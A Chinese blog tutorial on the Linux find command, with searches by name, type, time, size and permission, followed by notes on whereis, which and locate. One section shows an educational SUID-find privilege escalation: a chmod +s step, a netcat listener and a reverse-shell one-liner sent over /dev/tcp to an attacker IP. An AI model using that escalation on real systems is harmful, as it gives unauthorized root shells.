find命令的常见用法

news2025/4/7 2:08:59

1.find 命令的常见用法

1.1 基础的打印操作

find命令默认接的命令是-print,它默认以\n将找到的文件分隔。可以使用-print0来使用\0分隔,这样就不会分行了。但是一定要注意,-print0针对的是\n转\0,如果查找的文件名本身就含有空格,则find后-print0仍然会显示空格文件。

[root@blackstone tmp]# mkdir /tmp/find_learn
[root@blackstone tmp]# touch /tmp/find_learn/aa{1..5}.log
#普通的打印
[root@blackstone tmp]# find /tmp/find_learn/
/tmp/find_learn/
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#print0打印,打印的时候替换\n为\0,连在一起打印。
[root@blackstone tmp]# find /tmp/find_learn/ -print0
/tmp/find_learn//tmp/find_learn/aa1.log/tmp/find_learn/aa2.log/tmp/find_learn/aa3.log/tmp/find_learn/aa4.log/tmp/find_learn/aa5.log[r

1.2 文件名搜索

常用的两个是-name和-path。

-name可以对文件的basename进行匹配,-path可以对文件的dirname+basename。查找的文件名最好使用引号包围,可以配合通配符进行查找。

basename其实就是文件的文件名,dirname就是文件名前跟着的那一大串目录。这二者不可以混合查找。

[root@blackstone tmp]# find /tmp -name '*.log'
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#尝试在名称中添加路径
[root@blackstone tmp]# find /tmp -name '*/*.log'
find: warning: Unix filenames usually don't contain slashes (though pathnames do).  That means that '-name ‘*/*.log’' will probably evaluate to false all the time on this system.  You might find the '-wholename' test more useful, or perhaps '-samefile'.  Alternatively, if you are using GNU grep, you could use 'find ... -print0 | grep -FzZ ‘*/*.log’'.

#正确的添加查询路径的操作
[root@blackstone tmp]# find /tmp -path '*/*.log'
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

注意,配合通配符[]时应该注意是基于字符顺序的,大小写字母的顺序是a-z –> A-Z,指定[a-z]表示小写字母a-z,同理[A-Z],而[a-zA-Z]和[a-Z]都表示所有大小写字母。当然还可以指定[a-A]表示a-z外加一个A。先小写再大写,看着确实对于习惯了ASCLL码的我们有些别扭。

当然还有它独特(蛇皮)的数字通配符配置:

[root@blackstone find2]# ls
11.sh  1.sh  22.sh  2.sh  3.sh
[root@blackstone find2]# find -name "[1-2].sh"
./1.sh
./2.sh
[root@blackstone find2]# find -name "[1-23].sh"
./1.sh
./2.sh
./3.sh
[root@blackstone find2]# find -name "[1-22-3].sh"
./1.sh
./2.sh
./3.sh

从上面结果可以看出,其实[]只能匹配单个字符,[0-9]表示0-9的数字,[1-20]表示[1-2]外加一个0,[1-23]表示[1-2]外加一个3,[1-22-3]表示[1-2]或[2-3],迷惑点就是看上去是大于10的整数,其实是两个或者更多的单个数字组合体。也可以用这种方法表示多种匹配:[1-2,2-3]。

1.3 根据文件类型搜索

一般需要搜索的文件类型就只有普通文件(f),目录(d),链接文件(l)。

例如,搜索普通文件类的文件,且名称为a开头的sh文件。

#查找目录
[root@blackstone tmp]# find /tmp -type d -name "*a*"
/tmp/find_learn

#查找文件
[root@blackstone tmp]# find /tmp -type f -name "*a*"
/tmp/yum_save_tx.2023-01-09.13-24.Bnd1Rv.yumtx
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

#默认查找---同时查找文件与目录
[root@blackstone tmp]# find /tmp  -name "*a*"
/tmp/yum_save_tx.2023-01-09.13-24.Bnd1Rv.yumtx
/tmp/find_learn
/tmp/find_learn/aa1.log
/tmp/find_learn/aa2.log
/tmp/find_learn/aa3.log
/tmp/find_learn/aa4.log
/tmp/find_learn/aa5.log

1.4 根据文件的时间戳搜索

最基础的时间戳包括:-atime/-mtime/-ctime。

atime(Access Time) -文件的最近访问时间(cat、vim等)
mtime(Modify Time) -文件的内容最近修改的时间(vim编辑,重定向写入等) — 重点检查对象
ctime(Change Time) -文件属性最近修改的时间(内容、路径、所有者、权限等变化)

例如搜索/tmp下3天内修改过内容的sh文件,因为是文件内容,所以不考虑搜索目录。

[root@blackstone tmp]# find /tmp -type f -mtime -3 -name "*.sh"
/tmp/find2/11.sh
/tmp/find2/1.sh
/tmp/find2/2.sh
/tmp/find2/22.sh
/tmp/find2/3.sh

1.5 根据文件大小搜索:-size

例如搜索/下大于100M的文件

[root@blackstone tmp]# find / -size +100M 2>/dev/null
/proc/kcore
/sys/devices/pci0000:00/0000:00:0f.0/resource1_wc
/sys/devices/pci0000:00/0000:00:0f.0/resource1
/var/cache/yum/x86_64/7/updates/gen/primary_db.sqlite
/usr/sbin/mysqld
/usr/sbin/mysqld-debug
/usr/lib/locale/locale-archive

1.6 根据权限搜索:-perm

例如搜索/usr/bin/下所有者具有可读可写可执行权限的sh文件。

[root@blackstone tmp]# find /usr/bin -type f -perm -0700 -name '*.sh'
/usr/bin/lesspipe.sh
/usr/bin/gettext.sh
/usr/bin/setup-nsssysinit.sh
/usr/bin/jemalloc.sh

1.7 搜索到文件后并删除

添加了-exec参数之后我们的find命令可以执行新的命令,注意末尾的分号一定要加上。

示例:找到/tmp目录下名字为’1.sh’的文件并删除

[root@blackstone tmp]# find /tmp -type f -name '1.sh' -exec rm -rf '{}' \;
[root@blackstone tmp]# tree .
.
├── find2
│   ├── 11.sh
│   ├── 22.sh
│   ├── 2.sh
│   └── 3.sh

1.8 搜索指定日期范围的文件

例如搜索1月1号到现在所新生成的文件名为’.sh’的文件:

[root@blackstone tmp]# find / -name '*.sh' -newermt 2023-01-01 -a ! -newermt 2023-01-11
/tmp/find2/11.sh
/tmp/find2/2.sh
/tmp/find2/22.sh
/tmp/find2/3.sh

也可以以文件的时间作为我们的搜索的依据:

#搜索时间晚于文件时间的文件:
[root@blackstone tmp]# find /tmp -newer /tmp/find2/2.sh
/tmp/find2
/tmp/find2/22.sh
/tmp/find2/3.sh

2.find 命令的提权梗

之所以说它是个梗,是因为这样的提取方式早已经被限制死了。因为各大厂商收回了find命令的s权限,使得其无法利用s权限进行提权shell反弹。但是作为好学的同学还是有必要了解一下这样一个权限窃取的过程的。

首先,赋予find命令suid权限:

[root@blackstone ~]# which find
/bin/find
[root@blackstone ~]# ll /bin/find
-rwxr-xr-x. 1 root root 199200 Nov 20  2015 /bin/find
[root@blackstone ~]# chmod +s /bin/find

#查看权限获取情况
[root@blackstone ~]# ll /bin/find
-rwsr-sr-x. 1 root root 199200 Nov 20  2015 /bin/find

之后再攻击机上开启端口监听,本地切换为普通用户执行find中的命令执行反弹shell:

#1.攻击机端口监听
┌──(root💀kali)-[~]
└─# nc -lvp 6666

#2.切换普通用户
[root@blackstone ~]# su - batman

#3.执行万恶的find提权命令
[batman@blackstone ~]$ find /etc/passwd -exec bash -ip >&/dev/tcp/192.168.2.159/6666 0>&1 \;

测试效果:

在这里插入图片描述
原理:因为find程序具有suid权限,故其在运行时实际上是拥有root的权限的,因此在执行反弹shell命令时可以将root的shell反弹到目标主机上去。

3.相似命令

3.1 wereis与which

whereis不只可以查找命令,其他文件类型都可以(man中说只能查命令、源文件和man文件,实际测试可以查大多数文件)。在$PATH路径基础上增加了一些系统目录的查找,查找范围比which稍大,查找速度快。可以通过 -b 选项,限定只搜索二进制文件。

[root@blackstone find3]# whereis ping
ping: /usr/bin/ping /usr/share/man/man8/ping.8.gz

[root@blackstone find3]# which ping
/bin/ping

which命令常用于查找可直接执行的命令。只能查找可执行文件,该命令基本只在$PATH路径中搜索,查找范围最小,查找速度快。默认只返回第一个匹配的文件路径,通过选项 -a 可以返回所有匹配结果。

3.2 locate命令

超快速查找任意文件。它会从linux内置的索引数据库查找文件的路径,索引速度超快。刚刚新建的文件可能需要一定时间才能加入该索引数据库,可以通过执行updatedb命令来强制更新一次索引,这样确保不会遗漏文件。该命令通常会返回大量匹配项,可以使用 -r 选项通过正则表达式来精确匹配。

#安装方法
[root@blackstone]# yum install mlocate

#使用示例  -r 添加正则匹配规则,嘎嘎快,用了都说好!
[root@blackstone find3]# locate -r 'my[a-z]ql.log'
/usr/share/mysql/mysql-log-rotate
/var/log/mysql.log

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/155748.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高一物理题整理

1 船过河问题 【分析及解答】 这个题的关键是如何理解船的速度,题目假设船的速度是不变的,也就是一直是v2v_2v2​。 列方程如下: {120v1∗10dv2∗10dv2sin⁡θ∗12.5v1v2cos⁡θ\left\{\begin{array}{l} 120 v_1 * 10 \\ d v_2 * 10 \\ d …

【我的渲染技术进阶之旅】解决Cinema 4D制作的3D模型无法导入Blender的问题

文章目录一、问题描述二、分析问题2.1 查看material材质的mtl文件2.2 mtl文件介绍2.3 对比mtl文件和mtl语法并修改2.3.1 norm不对2.3.2 map_Ka、map_Kd 、map_Ks、map_Bump 的格式不对2.5 重新导出obj格式和mtl文件三、总结一、问题描述 今天UI输出了个3D模型给我,…

Spring是如何解决循环依赖的?

一、什么是循环依赖? 循环依赖:说白了就是一个或多个对象实例之间存在直接或间接的依赖关系,这种依赖关系构成了一个环形调用。 第一种情况:自己依赖自己的直接依赖 第二种情况:两个对象之间的直接依赖 第三种情况…

Android 深入系统完全讲解(11)

9 framework 内容组成 狭义的 framework,主要讲的就是 SystemServer 里面的所有服务,这些是在 framework, 而广义的就是包含了 rec,native 服务,系统 app 等一切分不出去的模块,所以 framework 要能做好&a…

睿尔曼 RM65-B 机械臂 WIN 示教软件测试

大家好,我是虎哥,最近开始接触机械臂,尤其是协作机械臂,小,轻、还价格便宜一点,由于我师兄弟强烈推荐的睿尔曼 RM65-B机械臂,所以总结一下自己的开箱测试经验,主要是在WIN下 示教器软…

Protobu编译本地环境搭建

1 windows下安装Protobuhttps://github.com/protocolbuffers/protobuf/releases2 安装cmakehttps://cmake.org/download/3选择选择你的VS版本4生成pb运行程序5 protoc --cpp_out生产pb文件将刚才编译后的libprotobufd.lib和protoc.exe拷贝到自己创建的项目下,按住sh…

express中间件

文章目录中间件定义一个最简单的中间件自定义中间件中间件的五个使用注意事项Express 基于 Connect 构建而成,因此,它也保持了重用中间件来完成基础任务的想法。这就意味着,通过 Express 的 API 方便地构建 Web 应用地同时,又不失…

基于vgg16和pytorch框架进行cifar10数据集的图像分类

vgg16网络模型的实现 这里只讲怎么实现 百度搜到vgg16的网络模型图,用pytorch框架进行实现 图是这样,用pytorch实现就行,pyotrch不太熟悉的话可以去看小土堆的视频 命名mode.py 也可以使用其他名字,在后面的train.py里面改一下也…

【C语言进阶】内存函数和结构体内存对齐

目录一.strerror函数1.错误码变量errno2.strerror函数的使用3.perror函数二.memcpy函数1.函数介绍2.模拟实现三.memmove函数1.函数介绍2.模拟实现四.结构体的内存对齐一.strerror函数 1.错误码变量errno 规定: C语言库函数如果出现运行错误,会将对应错误信息的错误…

联邦学习 (FL) 中常见的3种模型聚合方法的 Tensorflow 示例

联合学习 (FL) 是一种出色的 ML 方法,它使多个设备(例如物联网 (IoT) 设备)或计算机能够在模型训练完成时进行协作,而无需共享它们的数据。 “客户端”是 FL 中使用的计算机和设备,它们可以彼此完全分离并且拥有各自不…

基于Java springmvc+mybatis酒店信息管理系统设计和实现

基于Java springmvcmybatis酒店信息管理系统设计和实现 博主介绍:5年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 超级帅帅吴 Java毕设项目精品实战案例《500套》 欢迎点赞 收藏 ⭐留言 文末获取…

程序员接私活的几个平台和建议,避免掉坑!

大家对于程序员接私活这件事的看法,褒贬不一。但是你如果确实用钱,价格又合适,那就大胆去接。 如果不那么缺钱,那么接私活之前先考虑清楚,如果自己将空余时间用在接私活所产生的价值是不是大于提升自己。如果是的话&a…

2022年 大学生工程训练比赛[物料搬运]

本人和团结参加了2022年大学生工程训练(简称工训赛)校赛选拔,准备了几个月的时间和花费了较多的资金,由于疫情等多种情况,很遗憾未能参加湖南省省赛,过了这么久还是写个博客记录参赛准备和调试过程。 目录 一、比赛要求 二、整体…

第十章面向对象编程(高级部分)

10.1 类变量和类方法(关键字static) 10.1.31类变量快速入门 思考: 如果,设计一个 int count 表示总人数,我们在创建一个小孩时,就把 count 加 1,并且 count 是所有对象共享的就 ok 了! package com.hspedu.static_;public class ChildGame {…

MS【1】:Metric

文章目录前言1. Dice Loss1.1. Dice coefficient1.2. F1 score - Dice1.3. Dice Loss2. Sensitivity & Specificity2.1. Sensitivity2.2. Specificity3. Hausdorff distance3.1. 概念3.2. 单向 Hausdorff distance3.3. 双向 Hausdorff distance3.4. 部分 Hausdorff distanc…

使用ResNet18实现CIFAR100数据集的训练

如果对你有用的话,希望能够点赞支持一下,这样我就能有更多的动力更新更多的学习笔记了。😄😄 使用ResNet进行CIFAR-10数据集进行测试,这里使用的是将CIFAR-10数据集的分辨率扩大到32X32,因为算力相关的…

二、数据仓库模型设计

数据仓库模型设计一、数据模型二、关系模型三、维度模型1、事实表(1)事务事实表(2)周期快照事实表(3)累计快照事实表(4)无事实的事实表2、维度表3、维度模型类型(1&#…

LVGL学习笔记16 - 进度条Bar

目录 1. Parts 2. 模式 2.1 LV_BAR_MODE_SYMMETRICAL:对称模式 2.2 LV_BAR_MODE_RANGE:范围模式 3. 动画 4. 样式 4.1 方向 4.2 渐变色 4.3 增加边框 4.4 滚动条方向 进度条有一个背景和一个指示器组成,通过lv_bar_create创建对象。…

mysql多表查询

一、关联查询(联合查询) 1.1 什么是关联查询 关联查询:两个或者多个表,一起查询。 前提条件: 这些一起查询的表之间是有关系的(一对一、一对多),它们之间一定是有关联字段&#x…

初识IL2CPP

在Unity中进行打包时,有两种打包方式选择:Mono和IL2CPP Mono和IL2Cpp是Unity的脚本后处理方式,通过脚本后处理实现Unity的跨平台 1.Mono (1). Mono组成组件: C#编辑器,CLI虚拟机,以及核心类别程序库 (2).跨平台过程 Mo…